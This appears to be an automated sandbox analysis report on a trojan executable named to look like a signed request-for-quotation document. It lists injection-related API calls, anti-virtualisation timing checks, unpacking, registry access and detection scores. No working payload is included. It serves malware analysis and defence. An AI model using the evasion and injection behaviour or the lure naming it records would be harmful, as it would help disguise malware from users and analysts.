Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A32990	10_2_00A32990
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2C1C0	10_2_00A2C1C0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A34120	10_2_00A34120
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A1F900	10_2_00A1F900
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE22AE	10_2_00AE22AE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE32A9	10_2_00AE32A9
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4AEF	10_2_00AD4AEF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADE2C5	10_2_00ADE2C5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ACFA2B	10_2_00ACFA2B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B236	10_2_00A3B236
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD5A4F	10_2_00AD5A4F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4EBB0	10_2_00A4EBB0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ABEB8A	10_2_00ABEB8A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4138B	10_2_00A4138B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3EB9A	10_2_00A3EB9A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A68BE8	10_2_00A68BE8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AC23E3	10_2_00AC23E3
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD03DA	10_2_00AD03DA
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4ABD8	10_2_00A4ABD8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADDBD2	10_2_00ADDBD2
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE2B28	10_2_00AE2B28
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3A309	10_2_00A3A309
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD231B	10_2_00AD231B
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A33360	10_2_00A33360
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3AB40	10_2_00A3AB40
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ABCB4F	10_2_00ABCB4F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD4496	10_2_00AD4496
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A44CD4	10_2_00A44CD4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A32430	10_2_00A32430
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2841F	10_2_00A2841F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADD466	10_2_00ADD466
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B477	10_2_00A3B477
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADCC77	10_2_00ADCC77
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A465A0	10_2_00A465A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A42581	10_2_00A42581
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD2D82	10_2_00AD2D82
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2D5E0	10_2_00A2D5E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE25DD	10_2_00AE25DD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A10D20	10_2_00A10D20
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE2D07	10_2_00AE2D07
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A32D50	10_2_00A32D50
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AE1D55	10_2_00AE1D55
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AC1EB6	10_2_00AC1EB6

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: String function: 00A1B150 appears 158 times
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: String function: 00A6D08C appears 35 times
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: String function: 00AA5720 appears 68 times

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_004185B0 NtCreateFile,	10_2_004185B0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00418660 NtReadFile,	10_2_00418660
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_004186E0 NtClose,	10_2_004186E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00418790 NtAllocateVirtualMemory,	10_2_00418790
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_004186DD NtClose,	10_2_004186DD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59860 NtQuerySystemInformation,LdrInitializeThunk,	10_2_00A59860
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A596E0 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_00A596E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59660 NtAllocateVirtualMemory,LdrInitializeThunk,	10_2_00A59660
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A598A0 NtWriteVirtualMemory,	10_2_00A598A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A598F0 NtReadVirtualMemory,	10_2_00A598F0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59820 NtEnumerateKey,	10_2_00A59820
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59840 NtDelayExecution,	10_2_00A59840
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A5B040 NtSuspendThread,	10_2_00A5B040
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A599A0 NtCreateSection,	10_2_00A599A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A599D0 NtCreateProcessEx,	10_2_00A599D0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59910 NtAdjustPrivilegesToken,	10_2_00A59910
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59950 NtQueueApcThread,	10_2_00A59950
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59A80 NtOpenDirectoryObject,	10_2_00A59A80
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59A20 NtResumeThread,	10_2_00A59A20
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59A00 NtProtectVirtualMemory,	10_2_00A59A00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59A10 NtQuerySection,	10_2_00A59A10
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59A50 NtCreateFile,	10_2_00A59A50
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A5A3B0 NtGetContextThread,	10_2_00A5A3B0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59B00 NtSetValueKey,	10_2_00A59B00
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A595F0 NtQueryInformationFile,	10_2_00A595F0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A595D0 NtClose,	10_2_00A595D0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59520 NtWaitForSingleObject,	10_2_00A59520
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A5AD30 NtSetContextThread,	10_2_00A5AD30
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59560 NtWriteFile,	10_2_00A59560
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A59540 NtReadFile,	10_2_00A59540

Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Virustotal: Detection: 29%
Source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	ReversingLabs: Detection: 35%

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

File read: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Jump to behavior

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe 'C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe'
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Process created: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Process created: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Jump to behavior

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Uhubvlhwjlopolbbrwsjxlbmrbynkke[1]

Jump to behavior

Source: classification engine

Classification label: mal96.troj.evad.winEXE@3/1@1/1

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe, 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Unpacked PE file: 10.2.Request_For_Quotation#234242_signed_copy_document_september_rfq.exe.400000.0.unpack .text:ER;.itext:ER;.data:W;.bss:W;.idata:W;.tls:W;.rdata:R;.reloc:R;.rsrc:R; vs .text:ER;

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 0_3_038BEC1E push ecx; ret	0_3_038BEC1F
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 0_3_038BEB2D push ebp; iretd	0_3_038BEB47
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_0041B85C push eax; ret	10_2_0041B862
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_004089EC push ds; ret	10_2_004089ED
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_0041B7F2 push eax; ret	10_2_0041B7F8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_0041B7FB push eax; ret	10_2_0041B862
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_0041B7A5 push eax; ret	10_2_0041B7F8
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A6D0D1 push ecx; ret	10_2_00A6D0E4

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	RDTSC instruction interceptor: First address: 0000000000408604 second address: 000000000040860A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	RDTSC instruction interceptor: First address: 000000000040898E second address: 0000000000408994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

API coverage: 1.5 %

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Code function: 10_2_004088C0 rdtsc

10_2_004088C0

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A420A0 mov eax, dword ptr fs:[00000030h]	10_2_00A420A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A420A0 mov eax, dword ptr fs:[00000030h]	10_2_00A420A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A420A0 mov eax, dword ptr fs:[00000030h]	10_2_00A420A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A420A0 mov eax, dword ptr fs:[00000030h]	10_2_00A420A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A420A0 mov eax, dword ptr fs:[00000030h]	10_2_00A420A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A420A0 mov eax, dword ptr fs:[00000030h]	10_2_00A420A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A478A0 mov eax, dword ptr fs:[00000030h]	10_2_00A478A0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A590AF mov eax, dword ptr fs:[00000030h]	10_2_00A590AF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228AE mov eax, dword ptr fs:[00000030h]	10_2_00A228AE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228AE mov eax, dword ptr fs:[00000030h]	10_2_00A228AE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228AE mov eax, dword ptr fs:[00000030h]	10_2_00A228AE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228AE mov ecx, dword ptr fs:[00000030h]	10_2_00A228AE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228AE mov eax, dword ptr fs:[00000030h]	10_2_00A228AE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228AE mov eax, dword ptr fs:[00000030h]	10_2_00A228AE
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4F0BF mov ecx, dword ptr fs:[00000030h]	10_2_00A4F0BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4F0BF mov eax, dword ptr fs:[00000030h]	10_2_00A4F0BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A4F0BF mov eax, dword ptr fs:[00000030h]	10_2_00A4F0BF
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A19080 mov eax, dword ptr fs:[00000030h]	10_2_00A19080
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A13880 mov eax, dword ptr fs:[00000030h]	10_2_00A13880
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A13880 mov eax, dword ptr fs:[00000030h]	10_2_00A13880
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A93884 mov eax, dword ptr fs:[00000030h]	10_2_00A93884
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A93884 mov eax, dword ptr fs:[00000030h]	10_2_00A93884
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A140E1 mov eax, dword ptr fs:[00000030h]	10_2_00A140E1
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A140E1 mov eax, dword ptr fs:[00000030h]	10_2_00A140E1
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A140E1 mov eax, dword ptr fs:[00000030h]	10_2_00A140E1
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A188E0 mov eax, dword ptr fs:[00000030h]	10_2_00A188E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A188E0 mov eax, dword ptr fs:[00000030h]	10_2_00A188E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A188E0 mov eax, dword ptr fs:[00000030h]	10_2_00A188E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A188E0 mov eax, dword ptr fs:[00000030h]	10_2_00A188E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A188E0 mov eax, dword ptr fs:[00000030h]	10_2_00A188E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A188E0 mov eax, dword ptr fs:[00000030h]	10_2_00A188E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A188E0 mov eax, dword ptr fs:[00000030h]	10_2_00A188E0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B8E4 mov eax, dword ptr fs:[00000030h]	10_2_00A3B8E4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A3B8E4 mov eax, dword ptr fs:[00000030h]	10_2_00A3B8E4
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A158EC mov eax, dword ptr fs:[00000030h]	10_2_00A158EC
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD60F5 mov eax, dword ptr fs:[00000030h]	10_2_00AD60F5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD60F5 mov eax, dword ptr fs:[00000030h]	10_2_00AD60F5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD60F5 mov eax, dword ptr fs:[00000030h]	10_2_00AD60F5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD60F5 mov eax, dword ptr fs:[00000030h]	10_2_00AD60F5
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228FD mov eax, dword ptr fs:[00000030h]	10_2_00A228FD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228FD mov eax, dword ptr fs:[00000030h]	10_2_00A228FD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A228FD mov eax, dword ptr fs:[00000030h]	10_2_00A228FD
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A170C0 mov eax, dword ptr fs:[00000030h]	10_2_00A170C0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A170C0 mov eax, dword ptr fs:[00000030h]	10_2_00A170C0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AD18CA mov eax, dword ptr fs:[00000030h]	10_2_00AD18CA
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADB0C7 mov eax, dword ptr fs:[00000030h]	10_2_00ADB0C7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00ADB0C7 mov eax, dword ptr fs:[00000030h]	10_2_00ADB0C7
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A178D6 mov eax, dword ptr fs:[00000030h]	10_2_00A178D6
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A178D6 mov eax, dword ptr fs:[00000030h]	10_2_00A178D6
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A178D6 mov ecx, dword ptr fs:[00000030h]	10_2_00A178D6
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]	10_2_00AAB8D0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AAB8D0 mov ecx, dword ptr fs:[00000030h]	10_2_00AAB8D0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]	10_2_00AAB8D0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]	10_2_00AAB8D0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]	10_2_00AAB8D0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00AAB8D0 mov eax, dword ptr fs:[00000030h]	10_2_00AAB8D0
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A44020 mov edi, dword ptr fs:[00000030h]	10_2_00A44020
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2B02A mov eax, dword ptr fs:[00000030h]	10_2_00A2B02A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2B02A mov eax, dword ptr fs:[00000030h]	10_2_00A2B02A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2B02A mov eax, dword ptr fs:[00000030h]	10_2_00A2B02A
Source: C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe	Code function: 10_2_00A2B02A mov eax, dword ptr fs:[00000030h]	10_2_00A2B02A
